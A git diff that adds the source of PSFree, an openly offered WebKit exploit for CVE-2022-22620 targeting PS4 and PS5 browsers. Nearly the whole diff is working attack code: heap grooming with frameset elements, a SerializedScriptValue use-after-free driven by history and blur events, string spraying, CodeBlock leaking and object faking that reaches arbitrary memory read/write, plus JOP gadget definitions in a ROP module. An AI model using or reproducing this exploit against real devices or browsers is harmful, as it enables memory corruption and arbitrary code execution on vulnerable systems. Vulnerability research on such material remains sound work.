+ const base = this.__proto__;
+ return new this(base.of(...args).buffer);
+ };
+}
+
+const VariableMixin = superclass => class extends superclass {
+ constructor(value=0) {
+ // unlike the View classes, we don't allow number coercion. we
+ // explicitly allow floats unlike Int
+ if (typeof value !== 'number') {
+ throw TypeError('value not a number');
+ }
+ super([value]);
+ }
+
+ addr_at(...args) {
+ throw TypeError('unimplemented method');
+ }
+
+ [Symbol.toPrimitive](hint) {
+ return this[0];
+ }
+
+ toString(...args) {
+ return this[0].toString(...args);
+ }
+};
+
+export class Byte extends VariableMixin(View1) {}
+export class Short extends VariableMixin(View2) {}
+// Int was already taken by int64.mjs
+export class Word extends VariableMixin(View4) {}
+
+export class LongArray {
+ constructor(length) {
+ this.buffer = new DataView(new ArrayBuffer(length * 8));
+ }
+
+ get addr() {
+ return mt.get_view_vector(this.buffer);
+ }
+
+ addr_at(index) {
+ return this.addr.add(index * 8);
+ }
+
+ get length() {
+ return this.buffer.length / 8;
+ }
+
+ get size() {
+ return this.buffer.byteLength;
+ }
+
+ get byteLength() {
+ return this.size;
+ }
+
+ get(index) {
+ const buffer = this.buffer;
+ const base = index * 8;
+ return new Int(
+ buffer.getUint32(base, true),
+ buffer.getUint32(base + 4, true),
+ );
+ }
+
+ set(index, value) {
+ const buffer = this.buffer;
+ const base = index * 8;
+ const values = lohi_from_one(value);
+
+ buffer.setUint32(base, values[0], true);
+ buffer.setUint32(base + 4, values[1], true);
+ }
+}
+
+// mutable Int (we are explicitly using Int's private fields)
+const Word64Mixin = superclass => class extends superclass {
+ constructor(...args) {
+ if (!args.length) {
+ return super(0);
+ }
+ super(...args);
+ }
+
+ get addr() {
+ // assume this is safe to cache
+ return mt.get_view_vector(this._u32);
+ }
+
+ get length() {
+ return 1;
+ }
+
+ get size() {
+ return 8;
+ }
+
+ get byteLength() {
+ return 8;
+ }
+
+ // no setters for top and bot since low/high can accept negative integers
+
+ get lo() {
+ return super.lo;
+ }
+
+ set lo(value) {
+ this._u32[0] = value;
+ }
+
+ get hi() {
+ return super.hi;
+ }
+
+ set hi(value) {
+ this._u32[1] = value;
+ }
+
+ set(value) {
+ const buffer = this._u32;
+ const values = lohi_from_one(value);
+
+ buffer[0] = values[0];
+ buffer[1] = values[1];
+ }
+};
+
+export class Long extends Word64Mixin(Int) {
+ as_addr() {
+ return new Addr(this);
+ }
+}
+export class Pointer extends Word64Mixin(Addr) {}
diff --git a/psfree.mjs b/psfree.mjs
new file mode 100644
index 0000000..b742fb0
--- /dev/null
+++ b/psfree.mjs
@@ -0,0 +1,863 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see . */
+
+// PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write
+//
+// vulnerable:
+// * PS4 [6.00, 10.00)
+// * PS5 [1.00, 6.00)
+//
+// * CelesteBlue from ps4-dev on discord.com
+// * Helped in figuring out the size of WebCore::SerializedScriptValue and
+// its needed offsets on different firmwares.
+// * figured out the range of vulnerable firmwares
+// * janisslsm from ps4-dev on discord.com
+// * Helped in figuring out the size of JSC::ArrayBufferContents and its
+// needed offsets on different firmwares.
+// * Kameleon_ from ps4-dev on discord.com - tester
+// * SlidyBat from PS5 R&D discord.com
+// * Helped in figuring out the size of JSC::ArrayBufferContents and its
+// needed offsets on different firmwares (PS5).
+
+import { Int } from '/module/int64.mjs';
+import { Memory } from '/module/mem.mjs';
+import { KB, MB } from '/module/offset.mjs';
+import { BufferView } from '/module/rw.mjs';
+
+import {
+ die,
+ DieError,
+ log,
+ clear_log,
+ sleep,
+ hex,
+ align,
+} from '/module/utils.mjs';
+
+import * as config from '/config.mjs';
+import * as off from '/module/offset.mjs';
+
+// check if we are running on a supported firmware version
+const [is_ps4, version] = (() => {
+ const value = config.target;
+ const is_ps4 = (value & 0x10000) === 0;
+ const version = value & 0xffff;
+ const [lower, upper] = (() => {
+ if (is_ps4) {
+ return [0x600, 0x1000];
+ } else {
+ return [0x100, 0x600];
+ }
+ })();
+
+ if (!(lower <= version && version < upper)) {
+ throw RangeError(`invalid config.target: ${hex(value)}`);
+ }
+
+ return [is_ps4, version];
+})();
+
+const ssv_len = (() => {
+ if (0x600 <= config.target && config.target < 0x650) {
+ return 0x58;
+ }
+
+ // PS4 9.xx and all supported PS5 versions
+ if (config.target >= 0x900) {
+ return 0x50;
+ }
+
+ if (0x650 <= config.target && config.target < 0x900) {
+ return 0x48;
+ }
+})();
+
+// these constants are expected to be divisible by 2
+const num_fsets = 0x180;
+const num_spaces = 0x40;
+const num_adjs = 8;
+
+const num_reuses = 0x300;
+const num_strs = 0x200;
+const num_leaks = 0x100;
+
+// we can use the rows attribute of a frameset to allocate from fastMalloc
+//
+// see parseAttribute() from
+// WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x
+//
+// parseAttribute() will call newLengthArray():
+//
+// UniqueArray newLengthArray(const String& string, int& len)
+// {
+// RefPtr str = string.impl()->simplifyWhiteSpace();
+// ...
+// len = countCharacter(*str, ',') + 1; [1]
+// auto r = makeUniqueArray(len); [2]
+// ...
+// }
+//
+// pseudocode definition:
+//
+// class UniqueArray:
+// size_t _size; [3]
+// Length _data[];
+//
+// [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len.
+// [3] adds an extra 8 bytes to the array
+//
+// a Length is 8 bytes in size. if we want to allocate ssv_len bytes from
+// fastMalloc, then we need:
+//
+// const num_repeats = ssv_len / 8 - 2;
+// const rows = ','.repeat(num_repeats);
+const rows = ','.repeat(ssv_len / 8 - 2);
+
+const original_strlen = ssv_len - off.size_strimpl;
+const original_loc = location.pathname;
+
+function gc() {
+ new Uint8Array(4 * MB);
+}
+
+function sread64(str, offset) {
+ const low = (
+ str.charCodeAt(offset)
+ | str.charCodeAt(offset + 1) << 8
+ | str.charCodeAt(offset + 2) << 16
+ | str.charCodeAt(offset + 3) << 24
+ );
+ const high = (
+ str.charCodeAt(offset + 4)
+ | str.charCodeAt(offset + 5) << 8
+ | str.charCodeAt(offset + 6) << 16
+ | str.charCodeAt(offset + 7) << 24
+ );
+ return new Int(low, high);
+}
+
+function prepare_uaf() {
+ const fsets = [];
+ const indices = [];
+
+ function alloc_fs(fsets, size) {
+ for (let i = 0; i < size / 2; i++) {
+ const fset = document.createElement('frameset');
+ fset.rows = rows;
+ fset.cols = rows;
+ fsets.push(fset);
+ }
+ }
+
+ // the first call to either replaceState/pushState is likely to allocate a
+ // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents
+ // the SmallLine where the SSV resides from being freed. so we do a dummy
+ // call first
+ history.replaceState('state0', '');
+
+ alloc_fs(fsets, num_fsets);
+
+ // the "state1" SSVs is what we will UAF
+
+ history.pushState('state1', '', original_loc + '#bar');
+ indices.push(fsets.length);
+
+ alloc_fs(fsets, num_spaces);
+
+ history.pushState('state1', '', original_loc + '#foo');
+ indices.push(fsets.length);
+
+ alloc_fs(fsets, num_spaces);
+
+ history.pushState('state2', '');
+ return [fsets, indices];
+}
+
+// WebCore::SerializedScriptValue use-after-free
+//
+// be careful when accessing history.state since History::state() will get
+// called. History will cache the SSV at its m_lastStateObjectRequested if you
+// do. that field is a RefPtr, thus preventing a UAF if we cache "state1"
+async function uaf_ssv(fsets, index, index2) {
+ const views = [];
+ const input = document.createElement('input');
+ input.id = 'input';
+ const foo = document.createElement('input');
+ foo.id = 'foo';
+ const bar = document.createElement('a');
+ bar.id = 'bar';
+
+ log(`ssv_len: ${hex(ssv_len)}`);
+
+ let pop = null;
+ let pop2 = null;
+ let pop_promise2 = null;
+ let blurs = [0, 0];
+ let resolves = [];
+
+ function onpopstate(event) {
+ const no_pop = pop === null;
+ const idx = no_pop ? 0 : 1;
+
+ log(`pop ${idx} came`);
+ if (blurs[idx] === 0) {
+ const r = resolves[idx][1];
+ r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`));
+ }
+
+ if (no_pop) {
+ pop_promise2 = new Promise((resolve, reject) => {
+ resolves.push([resolve, reject]);
+ addEventListener('popstate', onpopstate, {once: true});
+ history.back();
+ });
+ }
+
+ if (no_pop) {
+ pop = event;
+ } else {
+ pop2 = event;
+ }
+ resolves[idx][0]();
+ }
+
+ const pop_promise = new Promise((resolve, reject) => {
+ resolves.push([resolve, reject]);
+ addEventListener('popstate', onpopstate, {once: true});
+ });
+
+ function onblur(event) {
+ const target = event.target;
+ const is_input = target === input;
+ const idx = is_input ? 0 : 1;
+ log(`${target.id} blur came`);
+
+ if (blurs[idx] > 0) {
+ die(`${name}: multiple blurs. blurs: ${blurs[idx]}`);
+ }
+
+ // we replace the URL with the original so the user can rerun the
+ // exploit via a reload. If we don't, the exploit will append another
+ // "#foo" to the URL and the input element will not be blurred because
+ // the foo element won't be scrolled to during history.back()
+ history.replaceState('state3', '', original_loc);
+
+ // free the SerializedScriptValue's neighbors and thus free the
+ // SmallLine where it resides
+ const fset_idx = is_input ? index : index2;
+ for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) {
+ fsets[i].rows = '';
+ fsets[i].cols = '';
+ }
+
+ for (let i = 0; i < num_reuses; i++) {
+ const view = new Uint8Array(new ArrayBuffer(ssv_len));
+ view[0] = 0x41;
+ views.push(view);
+ }
+
+ blurs[idx]++;
+ }
+
+ input.addEventListener('blur', onblur);
+ foo.addEventListener('blur', onblur);
+
+ document.body.append(input);
+ document.body.append(foo);
+ document.body.append(bar);
+
+ // FrameLoader::loadInSameDocument() calls Document::statePopped().
+ // statePopped() will defer firing of popstate until we're in the complete
+ // state
+ //
+ // this means that onblur() will run with "state2" as the current history
+ // item if we call loadInSameDocument too early
+ log(`readyState now: ${document.readyState}`);
+
+ if (document.readyState !== 'complete') {
+ await new Promise(resolve => {
+ document.addEventListener('readystatechange', function foo() {
+ if (document.readyState === 'complete') {
+ document.removeEventListener('readystatechange', foo);
+ resolve();
+ }
+ });
+ });
+ }
+
+ log(`readyState now: ${document.readyState}`);
+
+ await new Promise(resolve => {
+ input.addEventListener('focus', resolve, {once: true});
+ input.focus();
+ });
+
+ history.back();
+ await pop_promise;
+ await pop_promise2;
+
+ log('done await popstate');
+
+ input.remove();
+ foo.remove();
+ bar.remove();
+
+ const res = [];
+ for (let i = 0; i < views.length; i++) {
+ const view = views[i];
+ if (view[0] !== 0x41) {
+ log(`view index: ${hex(i)}`);
+ log('found view:');
+ log(view);
+
+ // set SSV's refcount to 1, all other fields to 0/NULL
+ view[0] = 1;
+ view.fill(0, 1);
+
+ if (res.length) {
+ res[1] = [new BufferView(view.buffer), pop2];
+ break;
+ }
+
+ // return without keeping any references to pop, making it GC-able.
+ // its WebCore::PopStateEvent will then be freed on its death
+ res[0] = new BufferView(view.buffer);
+ i = num_reuses - 1;
+ }
+ }
+
+ if (res.length !== 2) {
+ die('failed SerializedScriptValue UAF');
+ }
+ return res;
+}
+
+class Reader {
+ constructor(rstr, rstr_view) {
+ this.rstr = rstr;
+ this.rstr_view = rstr_view;
+ this.m_data = rstr_view.read64(off.strimpl_m_data);
+ }
+
+ read8_at(offset) {
+ return this.rstr.charCodeAt(offset);
+ }
+
+ read32_at(offset) {
+ const str = this.rstr;
+ return (
+ str.charCodeAt(offset)
+ | str.charCodeAt(offset + 1) << 8
+ | str.charCodeAt(offset + 2) << 16
+ | str.charCodeAt(offset + 3) << 24
+ ) >>> 0;
+ }
+
+ read64_at(offset) {
+ return sread64(this.rstr, offset);
+ }
+
+ read64(addr) {
+ this.rstr_view.write64(off.strimpl_m_data, addr);
+ return sread64(this.rstr, 0);
+ }
+
+ set_addr(addr) {
+ this.rstr_view.write64(off.strimpl_m_data, addr);
+ }
+
+ // remember to use this to fix up the StringImpl before freeing it
+ restore() {
+ this.rstr_view.write64(off.strimpl_m_data, this.m_data);
+ this.rstr_view.write32(off.strimpl_strlen, original_strlen);
+ }
+}
+
+// we now have a double free on the fastMalloc heap
+async function make_rdr(view) {
+ let str_wait = 0;
+ const strs = [];
+ const u32 = new Uint32Array(1);
+ const u8 = new Uint8Array(u32.buffer);
+ const marker_offset = original_strlen - 4;
+ const pad = 'B'.repeat(marker_offset);
+
+ log('start string spray');
+ while (true) {
+ for (let i = 0; i < num_strs; i++) {
+ u32[0] = i;
+ // on versions like 8.0x:
+ // * String.fromCharCode() won't create a 8-bit string. so we use
+ // fromCodePoint() instead
+ // * Array.prototype.join() won't try to convert 16-bit strings to
+ // 8-bit
+ //
+ // given the restrictions above, we will ensure "str" is always a
+ // 8-bit string. you can check a WebKit source code (e.g. on 8.0x)
+ // to see that String.prototype.repeat() will create a 8-bit string
+ // if the repeated string's length is 1
+ //
+ // Array.prototype.join() calls JSC::JSStringJoiner::join(). it
+ // returns a plain JSString (not a JSRopeString). that means we
+ // have allocated a WTF::StringImpl with the proper size and whose
+ // string data is inlined
+ const str = [pad, String.fromCodePoint(...u8)].join('');
+ strs.push(str);
+ }
+
+ if (view.read32(off.strimpl_inline_str) === 0x42424242) {
+ view.write32(off.strimpl_strlen, 0xffffffff);
+ break;
+ }
+
+ strs.length = 0;
+ gc();
+ await sleep();
+ str_wait++;
+ }
+ log(`JSString reused memory at loop: ${str_wait}`);
+
+ const idx = view.read32(off.strimpl_inline_str + marker_offset);
+ log(`str index: ${hex(idx)}`);
+ log('view:');
+ log(view);
+
+ // versions like 8.0x have a JSC::JSString that have their own m_length
+ // field. strings consult that field instead of the m_length of their
+ // StringImpl
+ //
+ // we work around this by passing the string to Error.
+ // ErrorInstance::create() will then create a new JSString initialized from
+ // the StringImpl of the message argument
+ const rstr = Error(strs[idx]).message;
+ log(`str len: ${hex(rstr.length)}`);
+ if (rstr.length === 0xffffffff) {
+ log('confirmed correct leaked');
+ const addr = (
+ view.read64(off.strimpl_m_data)
+ .sub(off.strimpl_inline_str)
+ );
+ log(`view's buffer address: ${addr}`);
+ return new Reader(rstr, view);
+ }
+ die("JSString wasn't modified");
+}
+
+// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
+// of JSValues whose size is ssv_len. the undefined constant is automatically
+// added due to reasons such as "undefined is returned by default if the
+// function exits without returning anything"
+const cons_len = ssv_len - 8*5;
+const bt_offset = 0;
+const idx_offset = ssv_len - 8*3;
+const strs_offset = ssv_len - 8*2;
+const src_part = (() => {
+ // we user var instead of let/const since such variables always get
+ // initialized to the NULL JSValue even if you immediately return. we will
+ // make functions that do as little as possible in order to speed up the
+ // exploit. m_constantRegisters will still contain the unused constants
+ //
+ // function foo() {
+ // return;
+ // let a = 1;
+ // }
+ //
+ // the resulting bytecode:
+ // bb#1
+ // [ 0] enter
+ // [ 1] get_scope loc4
+ // [ 3] mov loc5, loc4
+ // [ 6] check_traps
+ // // this part still initializes a with the NULL JSValue
+ // [ 7] mov loc6, (const0)
+ // [ 10] ret Undefined(const1)
+ // Successors: [ ]
+ //
+ // bb#2
+ // [ 12] mov loc6, Int32: 1(const2)
+ // [ 15] ret Undefined(const1)
+ // Successors: [ ]
+ //
+ //
+ // Constants:
+ // k0 =
+ // k1 = Undefined
+ // k2 = Int32: 1: in source as integer
+ let res = 'var f = 0x11223344;\n';
+ // make unique constants that won't collide with the possible marker values
+ for (let i = 0; i < cons_len; i += 8) {
+ res += `var a${i} = ${num_leaks + i};\n`;
+ }
+ return res;
+})();
+
+async function leak_code_block(reader, bt_size) {
+ const rdr = reader;
+ const bt = [];
+ // take into account the cell and indexing header of the immutable
+ // butterfly
+ for (let i = 0; i < bt_size - 0x10; i += 8) {
+ bt.push(i);
+ }
+
+ // cache the global variable resolution
+ const slen = ssv_len;
+
+ const bt_part = `var bt = [${bt}];\nreturn bt;\n`;
+ const part = bt_part + src_part;
+ const cache = [];
+ for (let i = 0; i < num_leaks; i++) {
+ cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
+ }
+
+ const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB;
+ const smallPageSize = 4 * KB;
+ const search_addr = align(rdr.m_data, chunkSize);
+ log(`search addr: ${search_addr}`);
+
+ log(`func_src:\n${cache[0]}\nfunc_src end`);
+ log('start find CodeBlock');
+ let winning_off = null;
+ let winning_idx = null;
+ let winning_f = null;
+ let find_cb_loop = 0;
+ // false positives
+ let fp = 0;
+ rdr.set_addr(search_addr);
+ loop: while (true) {
+ const funcs = [];
+ for (let i = 0; i < num_leaks; i++) {
+ const f = Function(cache[i]);
+ // the first call allocates the CodeBlock
+ f();
+ funcs.push(f);
+ }
+
+ for (let p = 0; p < chunkSize; p += smallPageSize) {
+ for (let i = p; i < p + smallPageSize; i += slen) {
+ if (rdr.read32_at(i + 8) !== 0x11223344) {
+ continue;
+ }
+
+ rdr.set_addr(rdr.read64_at(i + strs_offset));
+ const m_type = rdr.read8_at(5);
+ // make sure we're not reading the constant registers of an
+ // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors.
+ // CodeBlock converts those to JSArrays
+ if (m_type !== 0) {
+ rdr.set_addr(search_addr);
+ winning_off = i;
+ winning_idx = rdr.read32_at(i + idx_offset);
+ winning_f = funcs[winning_idx];
+ break loop;
+ }
+ rdr.set_addr(search_addr);
+ fp++;
+ }
+ }
+
+ find_cb_loop++;
+ gc();
+ await sleep();
+ }
+ log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`);
+ log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`);
+
+ log('CodeBlock.m_constantRegisters.m_buffer:');
+ rdr.set_addr(search_addr.add(winning_off));
+ for (let i = 0; i < slen; i += 8) {
+ log(`${rdr.read64_at(i)} | ${hex(i)}`);
+ }
+
+ const bt_addr = rdr.read64_at(bt_offset);
+ const strs_addr = rdr.read64_at(strs_offset);
+ log(`immutable butterfly addr: ${bt_addr}`);
+ log(`string array passed to tag addr: ${strs_addr}`);
+
+ log('JSImmutableButterfly:');
+ rdr.set_addr(bt_addr);
+ for (let i = 0; i < bt_size; i += 8) {
+ log(`${rdr.read64_at(i)} | ${hex(i)}`);
+ }
+
+ log('string array:');
+ rdr.set_addr(strs_addr);
+ for (let i = 0; i < off.size_jsobj; i += 8) {
+ log(`${rdr.read64_at(i)} | ${hex(i)}`);
+ }
+
+ return [winning_f, bt_addr, strs_addr];
+}
+
+// data to write to the SerializedScriptValue
+//
+// setup to make deserialization create an ArrayBuffer with an arbitrary buffer
+// address
+function make_ssv_data(ssv_buf, view, view_p, addr, size) {
+ // sizeof JSC::ArrayBufferContents
+ const size_abc = (() => {
+ if (is_ps4) {
+ return version >= 0x900 ? 0x18 : 0x20;
+ } else {
+ return version >= 0x300 ? 0x18 : 0x20;
+ }
+ })();
+
+ const data_len = 9;
+ // sizeof WTF::Vector
+ const size_vector = 0x10;
+
+ // SSV offsets
+ const off_m_data = 8;
+ const off_m_abc = 0x18;
+ // view offsets
+ const voff_vec_abc = 0; // Vector
+ const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents
+ const voff_data = voff_abc + size_abc;
+
+ // WTF::Vector
+ // write m_data
+ // m_buffer
+ ssv_buf.write64(off_m_data, view_p.add(voff_data));
+ // m_capacity
+ ssv_buf.write32(off_m_data + 8, data_len);
+ // m_size
+ ssv_buf.write64(off_m_data + 0xc, data_len);
+
+ // 6 is the serialization format version number for ps4 6.00. The format
+ // is backwards compatible and using a value less than the current version
+ // number used by a specific WebKit version is considered valid.
+ //
+ // See CloneDeserializer::isValid() from
+ // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x.
+ const CurrentVersion = 6;
+ const ArrayBufferTransferTag = 23;
+ view.write32(voff_data, CurrentVersion);
+ view[voff_data + 4] = ArrayBufferTransferTag;
+ view.write32(voff_data + 5, 0);
+
+ // std::unique_ptr>
+ // write m_arrayBufferContentsArray
+ ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc));
+ // write WTF::Vector
+ view.write64(voff_vec_abc, view_p.add(voff_abc));
+ view.write32(voff_vec_abc + 8, 1);
+ view.write32(voff_vec_abc + 0xc, 1);
+
+ if (size_abc === 0x20) {
+ // m_destructor, offset 0, leave as 0
+ // m_shared, offset 8, leave as 0
+ // m_data
+ view.write64(voff_abc + 0x10, addr);
+ // m_sizeInBytes
+ view.write32(voff_abc + 0x18, size);
+ } else {
+ // m_data
+ view.write64(voff_abc + 0, addr);
+ // m_destructor (48 bits), offset 8, leave as 0
+ // m_shared (48 bits), offset 0xe, leave as 0
+ // m_sizeInBytes
+ view.write32(voff_abc + 0x14, size);
+ }
+}
+
+async function make_arw(reader, view2, pop) {
+ const rdr = reader;
+
+ // we have to align the fake object to atomSize (16) else the process
+ // crashes. we don't know why
+ //
+ // since cells (GC memory chunks) are always aligned to atomSize, there
+ // might be code that's assuming that all GC pointers are aligned
+ //
+ // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
+ // PS4 8.0x
+ const fakeobj_off = 0x20;
+ const fakebt_base = fakeobj_off + off.size_jsobj;
+ // sizeof JSC::IndexingHeader
+ const indexingHeader_size = 8;
+ // sizeof JSC::ArrayStorage
+ const arrayStorage_size = 0x18;
+ // there's only the .raw property
+ const propertyStorage = 8;
+ const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
+
+ log('STAGE: leak CodeBlock');
+ // has too be greater than 0x10. the size of JSImmutableButterfly
+ const bt_size = 0x10 + fakebt_off + arrayStorage_size;
+ const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
+
+ const view = rdr.rstr_view;
+ const view_p = rdr.m_data.sub(off.strimpl_inline_str);
+ const view_save = new Uint8Array(view);
+
+ view.fill(0);
+ make_ssv_data(view2, view, view_p, bt_addr, bt_size);
+
+ const bt = new BufferView(pop.state);
+ view.set(view_save);
+
+ log('ArrayBuffer pointing to JSImmutableButterfly:');
+ for (let i = 0; i < bt.byteLength; i += 8) {
+ log(`${bt.read64(i)} | ${hex(i)}`);
+ }
+
+ // the immutable butterfly's indexing type is ArrayWithInt32 so
+ // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots
+ // for JSObjects to recursively visit. this means that we can write
+ // anything to the the butterfly's data area without fear of a GC crash
+
+ const val_true = 7; // JSValue of "true"
+ const strs_cell = rdr.read64(strs_addr);
+
+ bt.write64(fakeobj_off, strs_cell);
+ bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));
+
+ // since .raw is the first ever created property, it's just besides the
+ // indexing header
+ bt.write64(fakebt_off - 0x10, val_true);
+ // indexing header's publicLength and vectorLength
+ bt.write32(fakebt_off - 8, 1);
+ bt.write32(fakebt_off - 8 + 4, 1);
+
+ // custom ArrayStorage that allows read/write to index 0. we have to use an
+ // ArrayStorage because the structure assigned to the structure ID expects
+ // one so visitButterfly() will crash if we try to fake the object with a
+ // regular butterfly
+
+ // m_sparseMap
+ bt.write64(fakebt_off, 0);
+ // m_indexBias
+ bt.write32(fakebt_off + 8, 0);
+ // m_numValuesInVector
+ bt.write32(fakebt_off + 0xc, 1);
+
+ // m_vector[0]
+ bt.write64(fakebt_off + 0x10, val_true);
+
+ // immutable_butterfly[0] = fakeobj;
+ bt.write64(0x10, bt_addr.add(fakeobj_off));
+
+ const fake = func()[0];
+ log(`fake.raw: ${fake.raw}`);
+ log(`fake[0]: ${fake[0]}`);
+ log(`fake: [${fake}]`);
+
+ const test_val = 3;
+ log(`test setting fake[0] to ${test_val}`);
+ fake[0] = test_val;
+ if (fake[0] !== test_val) {
+ die(`unexpected fake[0]: ${fake[0]}`);
+ }
+
+ function addrof(obj) {
+ fake[0] = obj;
+ return bt.read64(fakebt_off + 0x10);
+ }
+
+ // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
+ // unlike FastTypedArray, where the buffer is managed by the GC. This
+ // prevents random crashes.
+ //
+ // See JSGenericTypedArrayView::visitChildren() from
+ // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
+ // PS4 8.0x.
+ const worker = new DataView(new ArrayBuffer(1));
+ const main_template = new Uint32Array(new ArrayBuffer(off.size_view));
+
+ const leaker = {addr: null, 0: 0};
+
+ const worker_p = addrof(worker);
+ const main_p = addrof(main_template);
+ const leaker_p = addrof(leaker);
+
+ // we'll fake objects using a JSArrayBufferView whose m_mode is
+ // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the
+ // current fastSizeLimit is 1000. if the length is less than or equal to
+ // that, we get a FastTypedArray
+ const scaled_sview = off.size_view / 4;
+ const faker = new Uint32Array(scaled_sview);
+ const faker_p = addrof(faker);
+ const faker_vector = rdr.read64(faker_p.add(off.view_m_vector));
+
+ const vector_idx = off.view_m_vector / 4;
+ const length_idx = off.view_m_length / 4;
+ const mode_idx = off.view_m_mode / 4;
+ const bt_idx = off.js_butterfly / 4;
+
+ // fake a Uint32Array using GC memory
+ faker[vector_idx] = worker_p.lo;
+ faker[vector_idx + 1] = worker_p.hi;
+ faker[length_idx] = scaled_sview;
+
+ rdr.set_addr(main_p);
+ faker[mode_idx] = rdr.read32_at(off.view_m_mode);
+ // JSCell
+ faker[0] = rdr.read32_at(0);
+ faker[1] = rdr.read32_at(4);
+ faker[bt_idx] = rdr.read32_at(off.js_butterfly);
+ faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4);
+
+ // fakeobj()
+ bt.write64(fakebt_off + 0x10, faker_vector);
+ const main = fake[0];
+
+ log('main (pointing to worker):');
+ for (let i = 0; i < off.size_view; i += 8) {
+ const idx = i / 4;
+ log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`);
+ }
+
+ new Memory(
+ main, worker, leaker,
+ leaker_p.add(off.js_inline_prop),
+ rdr.read64(leaker_p.add(off.js_butterfly)),
+ );
+ log('achieved arbitrary r/w');
+
+ rdr.restore();
+ // set the refcount to a high value so we don't free the memory, view's
+ // death will already free it (a StringImpl is currently using the memory)
+ view.write32(0, -1);
+ // ditto (a SerializedScriptValue is currently using the memory)
+ view2.write32(0, -1);
+ // we don't want its death to call fastFree() on GC memory
+ make_arw._buffer = bt.buffer;
+}
+
+async function main() {
+ log('STAGE: UAF SSV');
+ const [fsets, indices] = prepare_uaf();
+ const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]);
+
+ log('STAGE: get string relative read primitive');
+ const rdr = await make_rdr(view);
+
+ for (const fset of fsets) {
+ fset.rows = '';
+ fset.cols = '';
+ }
+
+ log('STAGE: achieve arbitrary read/write primitive');
+ await make_arw(rdr, view2, pop);
+
+ clear_log();
+ // path to your script that will use the exploit
+ import('./scripts/lapse.mjs');
+ //import('./rop/900_working.mjs');
+}
+main();
diff --git a/rop/800.mjs b/rop/800.mjs
index 0666856..8c24c60 100644
--- a/rop/800.mjs
+++ b/rop/800.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023-2024 anonymous
+/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
@@ -15,113 +15,58 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see . */
-import * as config from '../config.mjs';
-
-import { Int } from '../module/int64.mjs';
-import { debug_log, die } from '../module/utils.mjs';
-import { Addr, mem } from '../module/mem.mjs';
-import { KB, MB } from '../module/constants.mjs';
-import { ChainBase } from '../module/chain.mjs';
+import { mem } from '/module/mem.mjs';
+import { KB } from '/module/offset.mjs';
+import { ChainBase, get_gadget } from '/module/chain.mjs';
+import { BufferView } from '/module/rw.mjs';
import {
- make_buffer,
- find_base,
get_view_vector,
resolve_import,
init_syscall_array,
-} from '../module/memtools.mjs';
+} from '/module/memtools.mjs';
-import * as rw from '../module/rw.mjs';
-import * as o from '../module/offset.mjs';
-
-const origin = window.origin;
-const port = '8000';
-const url = `${origin}:${port}`;
-
-const syscall_array = [];
-
-const offset_textarea_impl = 0x18;
+import * as off from '/module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8;
const offset_wk_strlen = 0x918;
-// libSceLibcInternal offsets
-const offset_libc_setjmp = 0x258f4;
-const offset_libc_longjmp = 0x29c58;
-
-// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
-//
-// int setjmp(jmp_buf)
-// noreturn longjmp(jmp_buf)
-//
-// This version of longjmp() does not take another argument to be used as
-// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
-// rax. Change it if you want a specific value from setjmp() after the
-// longjmp().
-const jmp_buf_size = 0xc8;
-let setjmp_addr = null;
-let longjmp_addr = null;
-
// libSceNKWebKit.sprx
-let libwebkit_base = null;
+export let libwebkit_base = null;
// libkernel_web.sprx
-let libkernel_base = null;
+export let libkernel_base = null;
// libSceLibcInternal.sprx
-let libc_base = null;
-// kernel base address
-let kbase = null;
+export let libc_base = null;
-const kjop1 = `
-mov rdi, qword ptr [rdi]
-mov rax, qword ptr [rdi]
-jmp qword ptr [rax + 0xe0]
-`;
-const k2jop1 = `
+// gadgets for the JOP chain
+//
+// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
+// type is PutPropertySlot::PutValueFunc
+const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
-// gadgets for the JOP chain
-//
-// When the scrollLeft getter native function is called on PS4 8.03, rsi is the
-// JS wrapper for the WebCore textarea class.
-const jop1 = `
-mov rdi, qword ptr [rsi + 0x20]
-mov rax, qword ptr [rdi]
-call qword ptr [rax + 0x28]
-`;
